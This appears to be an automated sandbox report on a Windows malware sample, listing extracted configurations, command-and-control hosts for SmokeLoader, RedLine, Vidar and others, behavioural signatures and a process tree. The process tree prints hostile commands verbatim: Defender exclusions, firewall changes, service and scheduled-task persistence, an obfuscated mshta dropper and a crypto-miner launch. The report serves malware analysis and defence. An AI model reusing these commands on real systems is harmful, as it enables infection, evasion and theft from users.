Overview

overview

10

Static

static

27a01bb6c3...11.exe

windows7_x64

10

27a01bb6c3...11.exe

windows10_x64

10

Analysis

  • max time kernel
    152s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    23/11/2021, 08:41

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    27a01bb6c3c0fb64872fcc735c5a0c11.exe
  • Size 292KB
  • Sample211123-klghvahfak
  • SHA256 53a53bf9f523096ddbdf4f6a65cb51464d9c0c8458c2994cdc1e467d20742e64
  • MD5 SHA1 SHA512
Score
10/10
arkeiredlinesmokeloadertofseevidarxmrig706@123cheatdefaultz0rm1onebetbackdoorcollectiondiscoveryevasioninfostealerminerpersistencespywarestealersuricatatrojan

Malware Config

Extracted

Family

  • smokeloader

Version

  • 2020

C2

  • http://host-file-host6.com/

  • http://host-host-file8.com/

  • http://nalirou70.top/

  • http://xacokuo80.top/

  • http://srtuiyhuali.at/

  • http://fufuiloirtu.com/

  • http://amogohuigotuli.at/

  • http://novohudosovu.com/

  • http://brutuilionust.com/

  • http://bubushkalioua.com/

  • http://dumuilistrati.at/

  • http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

  • tofsee

C2

  • quadoil.ru

  • lakeflex.ru

Extracted

Family

  • redline

C2

  • 185.159.80.90:38637

  • 185.215.113.57:50723

Extracted

Family

  • redline

Botnet

  • @123

C2

  • 141.95.82.50:63652

Extracted

Family

  • arkei

Botnet

  • Default

C2

  • http://file-file-host4.com/tratata.php

Extracted

Family

  • vidar

Version

  • 48.7

Botnet

  • 706

C2

  • https://mstdn.social/@anapa

  • https://mastodon.social/@mniami

Attributes
  • profile_id

    706

Extracted

Family

  • redline

Botnet

  • z0rm1onebet

C2

  • 2.56.214.190:59628

Extracted

Family

  • redline

Botnet

  • cheat

C2

  • 194.26.232.163:5739

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

    stealerarkei
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 11 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Windows security bypass 2 TTPs
    evasiontrojan
  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Arkei Stealer Payload 3 IoCs
    stealer
  • Vidar Stealer 2 IoCs
    stealer
  • XMRig Miner Payload 3 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Executes dropped EXE 21 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 2 IoCs
    evasion
  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\27a01bb6c3c0fb64872fcc735c5a0c11.exe
    "C:\Users\Admin\AppData\Local\Temp\27a01bb6c3c0fb64872fcc735c5a0c11.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3584
    • C:\Users\Admin\AppData\Local\Temp\27a01bb6c3c0fb64872fcc735c5a0c11.exe
      "C:\Users\Admin\AppData\Local\Temp\27a01bb6c3c0fb64872fcc735c5a0c11.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:3984
  • C:\Users\Admin\AppData\Local\Temp\121D.exe
    C:\Users\Admin\AppData\Local\Temp\121D.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4396
    • C:\Users\Admin\AppData\Local\Temp\121D.exe
      C:\Users\Admin\AppData\Local\Temp\121D.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:4324
  • C:\Users\Admin\AppData\Local\Temp\1625.exe
    C:\Users\Admin\AppData\Local\Temp\1625.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:4360
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tmteqwpp\
      2⤵
        PID:864
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\viropugt.exe" C:\Windows\SysWOW64\tmteqwpp\
        2⤵
          PID:1068
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tmteqwpp binPath= "C:\Windows\SysWOW64\tmteqwpp\viropugt.exe /d\"C:\Users\Admin\AppData\Local\Temp\1625.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1388
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description tmteqwpp "wifi internet conection"
            2⤵
              PID:1932
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start tmteqwpp
              2⤵
                PID:2380
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2840
              • C:\Users\Admin\AppData\Local\Temp\1CEC.exe
                C:\Users\Admin\AppData\Local\Temp\1CEC.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2256
                • C:\Users\Admin\AppData\Local\Temp\1CEC.exe
                  C:\Users\Admin\AppData\Local\Temp\1CEC.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4192
              • C:\Windows\SysWOW64\tmteqwpp\viropugt.exe
                C:\Windows\SysWOW64\tmteqwpp\viropugt.exe /d"C:\Users\Admin\AppData\Local\Temp\1625.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2716
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:4848
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4340
              • C:\Users\Admin\AppData\Local\Temp\7C82.exe
                C:\Users\Admin\AppData\Local\Temp\7C82.exe
                1⤵
                • Executes dropped EXE
                • Checks SCSI registry key(s)
                • Suspicious behavior: MapViewOfSection
                PID:1036
              • C:\Users\Admin\AppData\Local\Temp\8136.exe
                C:\Users\Admin\AppData\Local\Temp\8136.exe
                1⤵
                • Executes dropped EXE
                PID:612
              • C:\Users\Admin\AppData\Local\Temp\97DC.exe
                C:\Users\Admin\AppData\Local\Temp\97DC.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks processor information in registry
                PID:5072
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\97DC.exe" & exit
                  2⤵
                    PID:4304
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /t 5
                      3⤵
                      • Delays execution with timeout.exe
                      PID:3808
                • C:\Users\Admin\AppData\Local\Temp\A73E.exe
                  C:\Users\Admin\AppData\Local\Temp\A73E.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:4908
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    #cmd
                    2⤵
                    • Checks processor information in registry
                    PID:2056
                    • C:\Users\Admin\AppData\Roaming\Oxygen.exe
                      "C:\Users\Admin\AppData\Roaming\Oxygen.exe"
                      3⤵
                      • Executes dropped EXE
                      PID:1672
                      • C:\Users\Admin\AppData\Roaming\ChromeUpdater_Master.exe
                        "C:\Users\Admin\AppData\Roaming\ChromeUpdater_Master.exe"
                        4⤵
                        • Executes dropped EXE
                        • Adds Run key to start application
                        PID:4712
                        • C:\Users\Admin\AppData\Roaming\UniversalSoftware\7F874E656A245AE57206C334E43FC22F.exe
                          "C:\Users\Admin\AppData\Roaming\UniversalSoftware\7F874E656A245AE57206C334E43FC22F.exe"
                          5⤵
                          • Executes dropped EXE
                          PID:4476
                          • C:\Windows\System32\conhost.exe
                            "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\UniversalSoftware\7F874E656A245AE57206C334E43FC22F.exe"
                            6⤵
                              PID:3928
                              • C:\Windows\System32\cmd.exe
                                "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                                7⤵
                                  PID:4412
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                                    8⤵
                                      PID:3980
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                                      8⤵
                                        PID:656
                                    • C:\Windows\System32\cmd.exe
                                      "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
                                      7⤵
                                        PID:664
                                        • C:\Windows\system32\schtasks.exe
                                          schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
                                          8⤵
                                          • Creates scheduled task(s)
                                          PID:1840
                                  • C:\Users\Admin\AppData\Roaming\UniversalSoftware\5835F27E062417D3C161E0F9734AEEFB.exe
                                    "C:\Users\Admin\AppData\Roaming\UniversalSoftware\5835F27E062417D3C161E0F9734AEEFB.exe"
                                    5⤵
                                    • Executes dropped EXE
                                    PID:3020
                                  • C:\Users\Admin\AppData\Roaming\UniversalSoftware\B2342A85F77B8E254BF882E15921E911.exe
                                    "C:\Users\Admin\AppData\Roaming\UniversalSoftware\B2342A85F77B8E254BF882E15921E911.exe"
                                    5⤵
                                    • Executes dropped EXE
                                    PID:4416
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\opk3o41o.yny.bat" "
                                  4⤵
                                    PID:3808
                                • C:\Users\Admin\AppData\Roaming\Kene.exe
                                  "C:\Users\Admin\AppData\Roaming\Kene.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  PID:4800
                                  • C:\Windows\SysWOW64\schtasks.exe
                                    "C:\Windows\System32\schtasks.exe" /Create /tn MicrosoftDriver /sc MINUTE /tr C:\Users\Admin\AppData\Local./cache./driver.exe
                                    4⤵
                                    • Creates scheduled task(s)
                                    PID:1740
                                • C:\Users\Admin\AppData\Roaming\Jone.exe
                                  "C:\Users\Admin\AppData\Roaming\Jone.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  PID:1032
                            • C:\Users\Admin\AppData\Local\Temp\6F3.exe
                              C:\Users\Admin\AppData\Local\Temp\6F3.exe
                              1⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Checks processor information in registry
                              PID:5016
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c taskkill /im 6F3.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\6F3.exe" & del C:\ProgramData\*.dll & exit
                                2⤵
                                  PID:3212
                                  • C:\Windows\SysWOW64\taskkill.exe
                                    taskkill /im 6F3.exe /f
                                    3⤵
                                    • Kills process with taskkill
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2136
                                  • C:\Windows\SysWOW64\timeout.exe
                                    timeout /t 6
                                    3⤵
                                    • Delays execution with timeout.exe
                                    PID:3992
                              • C:\Users\Admin\AppData\Local\Temp\20F5.exe
                                C:\Users\Admin\AppData\Local\Temp\20F5.exe
                                1⤵
                                • Executes dropped EXE
                                PID:3180
                                • C:\Windows\SysWOW64\mshta.exe
                                  "C:\Windows\System32\mshta.exe" VbSCRipt: clOsE (cREaTEoBJEct ( "wscript.sHeLL" ). run ( "CMd /Q/c typE ""C:\Users\Admin\AppData\Local\Temp\20F5.exe"" >..\zQheTTSPVCjF3J.eXE && sTART ..\zQHETTsPVCjf3J.EXE /pKfoCItBojjr3H3Ws9V & iF """"== """" for %r IN ( ""C:\Users\Admin\AppData\Local\Temp\20F5.exe"" ) do taskkill -iM ""%~NXr"" /f " , 0 , TrUe ) )
                                  2⤵
                                    PID:3872
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /Q/c typE "C:\Users\Admin\AppData\Local\Temp\20F5.exe" >..\zQheTTSPVCjF3J.eXE && sTART ..\zQHETTsPVCjf3J.EXE /pKfoCItBojjr3H3Ws9V & iF ""== "" for %r IN ( "C:\Users\Admin\AppData\Local\Temp\20F5.exe" ) do taskkill -iM "%~NXr" /f
                                      3⤵
                                        PID:3848
                                        • C:\Users\Admin\AppData\Local\Temp\zQheTTSPVCjF3J.eXE
                                          ..\zQHETTsPVCjf3J.EXE /pKfoCItBojjr3H3Ws9V
                                          4⤵
                                          • Executes dropped EXE
                                          PID:508
                                          • C:\Windows\SysWOW64\mshta.exe
                                            "C:\Windows\System32\mshta.exe" VbSCRipt: clOsE (cREaTEoBJEct ( "wscript.sHeLL" ). run ( "CMd /Q/c typE ""C:\Users\Admin\AppData\Local\Temp\zQheTTSPVCjF3J.eXE"" >..\zQheTTSPVCjF3J.eXE && sTART ..\zQHETTsPVCjf3J.EXE /pKfoCItBojjr3H3Ws9V & iF ""/pKfoCItBojjr3H3Ws9V ""== """" for %r IN ( ""C:\Users\Admin\AppData\Local\Temp\zQheTTSPVCjF3J.eXE"" ) do taskkill -iM ""%~NXr"" /f " , 0 , TrUe ) )
                                            5⤵
                                              PID:3164
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /Q/c typE "C:\Users\Admin\AppData\Local\Temp\zQheTTSPVCjF3J.eXE" >..\zQheTTSPVCjF3J.eXE && sTART ..\zQHETTsPVCjf3J.EXE /pKfoCItBojjr3H3Ws9V & iF "/pKfoCItBojjr3H3Ws9V "== "" for %r IN ( "C:\Users\Admin\AppData\Local\Temp\zQheTTSPVCjF3J.eXE" ) do taskkill -iM "%~NXr" /f
                                                6⤵
                                                  PID:868
                                              • C:\Windows\SysWOW64\mshta.exe
                                                "C:\Windows\System32\mshta.exe" VBsCRIpT: ClOsE ( CReatEobJeCt ("wscRIpT.shELL" ).rUN ( "cMD.EXe /R EcHo | SET /p = ""MZ"" > Y3t2Q.dT &CopY /B /y Y3T2Q.DT + jN~GMP.T + 1YEY3b5.cDF + QUVhcl~N.HMJ + 1SX79gyH.DN + ENHSMo4.J2Q ..\P9GJVeHB.~M & DeL /Q *& sTArT msiexec.exe /Y ..\P9GJVEHB.~M " , 0, TrUE ) )
                                                5⤵
                                                  PID:3780
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /R EcHo | SET /p = "MZ" > Y3t2Q.dT &CopY /B /y Y3T2Q.DT + jN~GMP.T + 1YEY3b5.cDF + QUVhcl~N.HMJ + 1SX79gyH.DN + ENHSMo4.J2Q ..\P9GJVeHB.~M & DeL /Q *& sTArT msiexec.exe /Y ..\P9GJVEHB.~M
                                                    6⤵
                                                      PID:1176
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /S /D /c" EcHo "
                                                        7⤵
                                                          PID:1836
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /S /D /c" SET /p = "MZ" 1>Y3t2Q.dT"
                                                          7⤵
                                                            PID:1376
                                                          • C:\Windows\SysWOW64\msiexec.exe
                                                            msiexec.exe /Y ..\P9GJVEHB.~M
                                                            7⤵
                                                            • Loads dropped DLL
                                                            PID:2396
                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                      taskkill -iM "20F5.exe" /f
                                                      4⤵
                                                      • Kills process with taskkill
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:4308
                                              • C:\Users\Admin\AppData\Local\Temp\3558.exe
                                                C:\Users\Admin\AppData\Local\Temp\3558.exe
                                                1⤵
                                                • Executes dropped EXE
                                                PID:2312
                                              • C:\Windows\SysWOW64\explorer.exe
                                                C:\Windows\SysWOW64\explorer.exe
                                                1⤵
                                                • Accesses Microsoft Outlook profiles
                                                • outlook_office_path
                                                • outlook_win_path
                                                PID:4328
                                              • C:\Windows\explorer.exe
                                                C:\Windows\explorer.exe
                                                1⤵
                                                  PID:1440

                                                Network

                                                      MITRE ATT&CK Enterprise v6

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      memory/612-197-0x000000001AD30000-0x000000001AD32000-memory.dmp
                                                      Download

                                                      memory/612-195-0x00000000007B0000-0x00000000007CB000-memory.dmp
                                                      Download

                                                      memory/612-198-0x00000000007F0000-0x00000000007F1000-memory.dmp
                                                      Download

                                                      memory/612-199-0x000000001AB50000-0x000000001AB51000-memory.dmp
                                                      Download

                                                      memory/612-196-0x000000001C4D0000-0x000000001C4D1000-memory.dmp
                                                      Download

                                                      memory/612-193-0x0000000000050000-0x0000000000051000-memory.dmp
                                                      Download

                                                      memory/656-459-0x000002233A606000-0x000002233A608000-memory.dmp
                                                      Download

                                                      memory/656-431-0x000002233A603000-0x000002233A605000-memory.dmp
                                                      Download

                                                      memory/656-430-0x000002233A600000-0x000002233A602000-memory.dmp
                                                      Download

                                                      memory/1032-341-0x0000000005480000-0x0000000005481000-memory.dmp
                                                      Download

                                                      memory/1036-202-0x0000000000400000-0x0000000001085000-memory.dmp
                                                      Download

                                                      memory/1036-201-0x0000000001170000-0x00000000012BA000-memory.dmp
                                                      Download

                                                      memory/1440-307-0x00000000007F0000-0x00000000007F7000-memory.dmp
                                                      Download

                                                      memory/1440-308-0x00000000007E0000-0x00000000007EC000-memory.dmp
                                                      Download

                                                      memory/1672-334-0x0000000005520000-0x0000000005A1E000-memory.dmp
                                                      Download

                                                      memory/2056-227-0x0000000005560000-0x0000000005B66000-memory.dmp
                                                      Download

                                                      memory/2056-246-0x0000000006B30000-0x0000000006B31000-memory.dmp
                                                      Download

                                                      memory/2056-226-0x00000000056B0000-0x00000000056B1000-memory.dmp
                                                      Download

                                                      memory/2056-218-0x0000000000400000-0x0000000000420000-memory.dmp
                                                      Download

                                                      memory/2256-134-0x0000000004E00000-0x0000000004E01000-memory.dmp
                                                      Download

                                                      memory/2256-136-0x0000000005430000-0x0000000005431000-memory.dmp
                                                      Download

                                                      memory/2256-135-0x0000000004DB0000-0x0000000004DB1000-memory.dmp
                                                      Download

                                                      memory/2256-132-0x00000000005D0000-0x00000000005D1000-memory.dmp
                                                      Download

                                                      memory/2256-141-0x0000000004D80000-0x0000000004DF6000-memory.dmp
                                                      Download

                                                      memory/2312-284-0x00000000049C0000-0x00000000049EC000-memory.dmp
                                                      Download

                                                      memory/2312-292-0x0000000000500000-0x00000000005AE000-memory.dmp
                                                      Download

                                                      memory/2312-293-0x0000000000400000-0x0000000000450000-memory.dmp
                                                      Download

                                                      memory/2312-291-0x00000000004B0000-0x00000000004DB000-memory.dmp
                                                      Download

                                                      memory/2312-302-0x0000000004B43000-0x0000000004B44000-memory.dmp
                                                      Download

                                                      memory/2312-282-0x0000000002200000-0x000000000222E000-memory.dmp
                                                      Download

                                                      memory/2312-294-0x0000000004B40000-0x0000000004B41000-memory.dmp
                                                      Download

                                                      memory/2312-295-0x0000000004B42000-0x0000000004B43000-memory.dmp
                                                      Download

                                                      memory/2312-303-0x0000000004B44000-0x0000000004B46000-memory.dmp
                                                      Download

                                                      memory/2396-275-0x0000000000B20000-0x0000000000B21000-memory.dmp
                                                      Download

                                                      memory/2396-278-0x0000000003000000-0x000000000314A000-memory.dmp
                                                      Download

                                                      memory/2396-309-0x0000000006500000-0x00000000065FA000-memory.dmp
                                                      Download

                                                      memory/2396-274-0x0000000000B20000-0x0000000000B21000-memory.dmp
                                                      Download

                                                      memory/2396-310-0x00000000066C0000-0x0000000006776000-memory.dmp
                                                      Download

                                                      memory/2436-166-0x00000000033A0000-0x00000000033B6000-memory.dmp
                                                      Download

                                                      memory/2436-122-0x0000000001330000-0x0000000001346000-memory.dmp
                                                      Download

                                                      memory/2436-206-0x0000000005A50000-0x0000000005A66000-memory.dmp
                                                      Download

                                                      memory/2716-177-0x0000000000400000-0x0000000002B41000-memory.dmp
                                                      Download

                                                      memory/2716-167-0x0000000002E74000-0x0000000002E84000-memory.dmp
                                                      Download

                                                      memory/3584-119-0x0000000002BA0000-0x0000000002BA9000-memory.dmp
                                                      Download

                                                      memory/3928-388-0x000001BDC2DD0000-0x000001BDC2DD2000-memory.dmp
                                                      Download

                                                      memory/3928-387-0x000001BDA8460000-0x000001BDA8652000-memory.dmp
                                                      Download

                                                      memory/3928-389-0x000001BDC2DD3000-0x000001BDC2DD5000-memory.dmp
                                                      Download

                                                      memory/3928-391-0x000001BDC2DD6000-0x000001BDC2DD7000-memory.dmp
                                                      Download

                                                      memory/3980-429-0x00000239F2008000-0x00000239F2009000-memory.dmp
                                                      Download

                                                      memory/3980-393-0x00000239F2000000-0x00000239F2002000-memory.dmp
                                                      Download

                                                      memory/3980-394-0x00000239F2003000-0x00000239F2005000-memory.dmp
                                                      Download

                                                      memory/3980-414-0x00000239F2006000-0x00000239F2008000-memory.dmp
                                                      Download

                                                      memory/3984-120-0x0000000000400000-0x0000000000409000-memory.dmp
                                                      Download

                                                      memory/4192-157-0x0000000004CF0000-0x0000000004CF1000-memory.dmp
                                                      Download

                                                      memory/4192-163-0x0000000004DB0000-0x0000000004DB1000-memory.dmp
                                                      Download

                                                      memory/4192-172-0x00000000051D0000-0x00000000051D1000-memory.dmp
                                                      Download

                                                      memory/4192-149-0x0000000000400000-0x0000000000420000-memory.dmp
                                                      Download

                                                      memory/4192-156-0x0000000005290000-0x0000000005291000-memory.dmp
                                                      Download

                                                      memory/4192-161-0x0000000004D50000-0x0000000004D51000-memory.dmp
                                                      Download

                                                      memory/4192-165-0x0000000004C80000-0x0000000005286000-memory.dmp
                                                      Download

                                                      memory/4192-159-0x0000000004E20000-0x0000000004E21000-memory.dmp
                                                      Download

                                                      memory/4192-179-0x0000000006E90000-0x0000000006E91000-memory.dmp
                                                      Download

                                                      memory/4192-178-0x0000000006790000-0x0000000006791000-memory.dmp
                                                      Download

                                                      memory/4192-176-0x0000000005CA0000-0x0000000005CA1000-memory.dmp
                                                      Download

                                                      memory/4324-138-0x0000000000400000-0x0000000000408000-memory.dmp
                                                      Download

                                                      memory/4328-305-0x0000000003600000-0x000000000366B000-memory.dmp
                                                      Download

                                                      memory/4328-304-0x0000000003670000-0x00000000036E4000-memory.dmp
                                                      Download

                                                      memory/4340-181-0x00000000030C0000-0x00000000031B1000-memory.dmp
                                                      Download

                                                      memory/4340-186-0x00000000030C0000-0x00000000031B1000-memory.dmp
                                                      Download

                                                      memory/4360-143-0x0000000002E38000-0x0000000002E49000-memory.dmp
                                                      Download

                                                      memory/4360-144-0x0000000002C30000-0x0000000002C43000-memory.dmp
                                                      Download

                                                      memory/4360-146-0x0000000000400000-0x0000000002B41000-memory.dmp
                                                      Download

                                                      memory/4396-142-0x0000000002C30000-0x0000000002C39000-memory.dmp
                                                      Download

                                                      memory/4416-368-0x0000000004D70000-0x0000000004D71000-memory.dmp
                                                      Download

                                                      memory/4712-351-0x0000000002A80000-0x0000000002A81000-memory.dmp
                                                      Download

                                                      memory/4848-168-0x00000000030F0000-0x0000000003105000-memory.dmp
                                                      Download

                                                      memory/4848-171-0x0000000003000000-0x0000000003001000-memory.dmp
                                                      Download

                                                      memory/4848-173-0x0000000003000000-0x0000000003001000-memory.dmp
                                                      Download

                                                      memory/4908-216-0x000000001AF40000-0x000000001AF42000-memory.dmp
                                                      Download

                                                      memory/4908-211-0x00000000002F0000-0x00000000002F1000-memory.dmp
                                                      Download

                                                      memory/4908-213-0x000000001AE90000-0x000000001AE91000-memory.dmp
                                                      Download

                                                      memory/4908-214-0x0000000002390000-0x0000000002391000-memory.dmp
                                                      Download

                                                      memory/5016-244-0x0000000002200000-0x00000000022D5000-memory.dmp
                                                      Download

                                                      memory/5016-243-0x0000000002100000-0x000000000217B000-memory.dmp
                                                      Download

                                                      memory/5016-245-0x0000000000400000-0x00000000004D8000-memory.dmp
                                                      Download

                                                      memory/5072-215-0x0000000004750000-0x0000000004771000-memory.dmp
                                                      Download

                                                      memory/5072-217-0x0000000000400000-0x0000000002B45000-memory.dmp
                                                      Download